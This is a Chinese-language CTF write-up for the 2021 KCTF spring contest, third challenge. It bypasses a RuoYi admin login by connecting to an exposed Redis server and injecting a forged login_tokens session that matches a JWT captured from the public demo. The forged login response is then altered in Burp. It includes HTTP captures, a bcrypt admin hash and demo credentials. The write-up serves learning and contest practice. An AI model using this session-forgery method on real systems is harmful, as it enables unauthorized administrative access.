-
-
[原创]2021 KCTF 春季赛 第三题 统一门派 wp
-
2021-5-14 03:57 6984
-
#本人web安全方面知识一直欠缺, 在好友Z的一起研究下, 这两天查阅各种资料, 现学现卖, 终于...搞定...
走过的弯路就不多说了(心里苦, 不过这两天学到挺多知识^-^), 直接写下进入后台拿到flag的方法.
0x0 寻找可利用之处
扫描端口, 发现redis数据库端口6379开启.
远程可以直接连接上.
数据库主要的有captcha_codes和login_tokens.
0x1 题目框架代码
利用搜索引擎不难找到若依框架项目的开源代码:
https://gitee.com/qi-xiaoxiao/qixiaoxiao
顺便还能找到演示地址:
http://vue.ruoyi.vip
演示地址可以用admin/admin123帐号登录.
0x2 分析login_tokens
redis数据库里的数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | login_tokens: 1794d721 - 4eb1 - 4a7e - af46 - da6261bf1301 { "@type" : "com.ruoyi.common.core.domain.model.LoginUser" , "accountNonExpired" :true, "accountNonLocked" :true, "browser" : "Chrome 9" , "credentialsNonExpired" :true, "enabled" :true, "expireTime" : 1680912666549 , "ipaddr" : "127.0.0.1" , "loginLocation" : "内网IP" , "loginTime" : 1620912726549 , "os" : "Windows 10" , "password" : "$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2" , "permissions" : Set [ "*:*:*" ], "token" : "1794d721-4eb1-4a7e-af46-da6261bf1301" , "user" :{ "admin" :true, "avatar" :"", "createBy" : "admin" , "createTime" : 1620902433000 , "delFlag" : "0" , "dept" :{ "children" :[ ], "deptId" : 103 , "deptName" : "研发部门" , "leader" : "若依" , "orderNum" : "1" , "params" :{ "@type" : "java.util.HashMap" }, "parentId" : 101 , "status" : "0" }, "deptId" : 103 , "email" : "ry@163.com" , "loginDate" : 1620902433000 , "loginIp" : "127.0.0.1" , "nickName" : "若依" , "params" :{ "@type" : "java.util.HashMap" }, "password" : "$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2" , "phonenumber" : "15888888888" , "remark" : "管理员" , "roles" :[ { "admin" :true, "dataScope" : "1" , "deptCheckStrictly" :false, "flag" :false, "menuCheckStrictly" :false, "params" :{ "@type" : "java.util.HashMap" }, "roleId" : 1 , "roleKey" : "admin" , "roleName" : "超级管理员" , "roleSort" : "1" , "status" : "0" } ], "sex" : "1" , "status" : "0" , "userId" : 1 , "userName" : "admin" }, "username" : "admin" } |
从中挑出几条关键的信息:
1.管理员帐号密码
1 2 | "userName" : "admin" "password" : "$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2" |
userName是明文, password进行加密过了.
审阅开源代码, 发现password使用的是Spring security中的BCrypt算法加密, 计算hash不可逆.
曾一度想尝试爆破, 最终放弃...
2.tokenId
1 | "token" : "1794d721-4eb1-4a7e-af46-da6261bf1301" |
登录成功后response包里应该有tokenId, 并且登录成功后的http访问应该都带着tokenId.
或许可以伪造一份假的token.
开干!
在演示地址中登录成功后抓http访问的包.
1 2 3 4 5 6 7 8 9 10 | GET / prod - api / getRouters HTTP / 1.1 Host: vue.ruoyi.vip Accept: application / json, text / plain, * / * Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjdiMjQ3YzFiLWVmNmYtNGE1MS05OTkxLTc5ODk0NDE5ZjQ4ZCJ9.c9z5AI3a0EpPx7bCStIq2JAsCiZDIKyt0PEE2YVrwyLDUop2N - gxoJKJquCrBJqQY1 - DotWG - wKpPIIPMbIGtQ User - Agent: Mozilla / 5.0 (Windows NT 10.0 ; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 70.0 . 3538.25 Safari / 537.36 Core / 1.70 . 3868.400 QQBrowser / 10.8 . 4394.400 Referer: http: / / vue.ruoyi.vip / login?redirect = % 2Findex Accept - Encoding: gzip, deflate Accept - Language: zh - CN,zh;q = 0.9 Cookie: Admin - Token = eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjdiMjQ3YzFiLWVmNmYtNGE1MS05OTkxLTc5ODk0NDE5ZjQ4ZCJ9.c9z5AI3a0EpPx7bCStIq2JAsCiZDIKyt0PEE2YVrwyLDUop2N - gxoJKJquCrBJqQY1 - DotWG - wKpPIIPMbIGtQ Connection: close |
在Cookie:Admin-Token, Authorization都有出现token.
测试删掉cookie访问正常, 说明服务器验证的是Authorization里的token.
Authorization内容和redis数据库里的tokenId好像不太一样.
审阅开源代码得出Authorization由TOKEN_PREFIX和token组成.
1 2 3 4 | / * * * 令牌前缀 * / public static final String TOKEN_PREFIX = "Bearer " ; |
token由io.jsonwebtoken.Jwts生成.
0x3 JSON Web Token(JWT)
JWT消息构成
一个token分3部分,按顺序为
头部(header)
其为载荷(payload)
签证(signature)
由三部分生成token
3部分之间用“.”号做分隔。例如:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c |
头部和playload
头部声明类型是jwt, 加密的算法是HMAC SHA256
playload存放数据, tokenId就是存在这里
签名signature
jwt的第三部分是一个签证信息,这个签证信息算法如下:
base64UrlEncode(header) + "." + base64UrlEncode(payload)+your-256-bit-secret
这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分
如何利用
伪造tokenId的话, 需要构造完整三部分的jwt消息.
因为没有自己搭建环境(主要是懒得敲java代码- -!), 这里直接在演示地址正常登录抓包拿下一份jwt消息:
1 2 3 | eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjIyYmRlZDJmLTNiOTYtNDNlYi1hNmMxLTMzMmExNTY1ZDM2OSJ9.IK5aHWqQDpT5HxNQ_L8F0C_DkCGxNXzzS5Jl0q3iAnEJybQL8cWbPiaaJodjMPkLZEKXhDhNdZFg2lKsaaXsWg { "login_user_key" : "22bded2f-3b96-43eb-a6c1-332a1565d369" } |
0x4 开始攻击
在数据库里的login_tokens增加一个数据, 对之前存在的一个login_token做修改, 把key的名字和value里的token都要改成自己手上的"22bded2f-3b96-43eb-a6c1-332a1565d369".
添加以后, 使用burp suite带着Authorization协议头访问/dev-api/getRouters, 成功的返回了数据.
接下来就是要登录进后台了.
在登录界面, 随意输入帐号密码和验证码进行登录, 使用burp suite修改response数据:(返回登录成功结果和伪造的token)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | HTTP / 1.1 200 Server: nginx Date: Thu, 13 May 2021 17 : 05 : 58 GMT Content - Type : application / json;charset = UTF - 8 Connection: close Vary: Origin Vary: Access - Control - Request - Method Vary: Access - Control - Request - Headers X - Content - Type - Options: nosniff X - XSS - Protection: 1 ; mode = block Cache - Control: no - cache, no - store, max - age = 0 , must - revalidate Pragma: no - cache Expires: 0 Content - Length: 228 { "msg" : "操作成功" , "code" : 200 , "token" : "eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjIyYmRlZDJmLTNiOTYtNDNlYi1hNmMxLTMzMmExNTY1ZDM2OSJ9.IK5aHWqQDpT5HxNQ_L8F0C_DkCGxNXzzS5Jl0q3iAnEJybQL8cWbPiaaJodjMPkLZEKXhDhNdZFg2lKsaaXsWg" } |
成功登录进后台!
CTF flag:2345_ert3_Wee
0x5 End
经过两天时间, 连滚带爬地学习了挺多web安全的知识, 自我感觉收获真的很大.
感谢好友Z的指导和一起学习尝试.
参考资料:
1.JSON Web Token(JWT)使用步骤说明:https://www.cnblogs.com/renhui/p/10194681.html
2.Spring security中的BCryptPasswordEncoder方法对密码进行加密与密码匹配:https://www.cnblogs.com/Amywangqing/p/13640838.html
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。